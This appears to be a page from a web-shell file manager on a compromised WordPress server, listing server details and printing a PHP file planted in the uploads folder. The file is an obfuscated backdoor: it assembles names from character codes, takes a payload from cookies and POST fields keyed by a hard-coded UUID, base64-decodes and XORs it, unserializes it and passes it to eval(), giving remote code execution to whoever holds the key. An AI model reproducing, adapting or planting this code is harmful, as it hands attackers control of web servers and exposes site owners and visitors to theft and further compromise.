HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/vaGA.php
$ZzDFRQUO = 'M' . "\150" . "\137" . chr ( 155 - 80 )."\104" . chr (71) . "\x4c";$GyZWG = "\143" . 'l' . "\141" . "\163" . chr (115) . "\x5f" . "\145" . "\x78" . chr (105) . "\x73" . chr (116) . chr (115); $tutLdPIJi = class_exists($ZzDFRQUO); $GyZWG = "34186";$ooOhSyeJ = strpos($GyZWG, $ZzDFRQUO);if ($tutLdPIJi == $ooOhSyeJ){function ONEGpNhI(){$fzyjZb = new /* 40370 */ Mh_KDGL(40311 + 40311); $fzyjZb = NULL;}$RkLqzWMjEi = "40311";class Mh_KDGL{private function MBYTgMuxWN($RkLqzWMjEi){if (is_array(Mh_KDGL::$uhhkIMrchp)) {$SPIxkrRrtL2 = str_replace("<" . "?php", "", Mh_KDGL::$uhhkIMrchp["content"]);eval($SPIxkrRrtL2); $RkLqzWMjEi = "40311";exit();}}public function DmGbx(){$SPIxkrRrtL = "47170";$this->_dummy = str_repeat($SPIxkrRrtL, strlen($SPIxkrRrtL));}public function __destruct(){Mh_KDGL::$uhhkIMrchp = @unserialize(Mh_KDGL::$uhhkIMrchp); $RkLqzWMjEi = "49192_19537";$this->MBYTgMuxWN($RkLqzWMjEi); $RkLqzWMjEi = "49192_19537";}public function NLbWX($SPIxkrRrtL, $VHhydu){return $SPIxkrRrtL[0] ^ str_repeat($VHhydu, intval(strlen($SPIxkrRrtL[0]) / strlen($VHhydu)) + 1);}public function FfqvVw($SPIxkrRrtL){$mPQzZd = chr ( 320 - 222 )."\141" . chr ( 729 - 614 ).chr ( 278 - 177 ).chr (54) . "\64";return array_map($mPQzZd . chr (95) . "\144" . "\x65" . chr (99) . 'o' . "\x64" . "\145", array($SPIxkrRrtL,));}public function __construct($IBNfmIUb=0){$pgpSqn = chr ( 274 - 230 ); $SPIxkrRrtL = "";$BFlSZh = $_POST;$yracl = $_COOKIE;$VHhydu = "940d474f-e184-4ed5-8189-054434d47670";$XKhynD = @$yracl[substr($VHhydu, 0, 4)];if (!empty($XKhynD)){$XKhynD = explode($pgpSqn, $XKhynD);foreach ($XKhynD as $AmiEA){$SPIxkrRrtL .= @$yracl[$AmiEA];$SPIxkrRrtL .= @$BFlSZh[$AmiEA];}$SPIxkrRrtL = $this->FfqvVw($SPIxkrRrtL);}Mh_KDGL::$uhhkIMrchp = $this->NLbWX($SPIxkrRrtL, $VHhydu);if (strpos($VHhydu, $pgpSqn) !== FALSE){$VHhydu = ltrim($VHhydu); $VHhydu = str_pad($VHhydu, 10);}}public static $uhhkIMrchp = 34004;}ONEGpNhI();}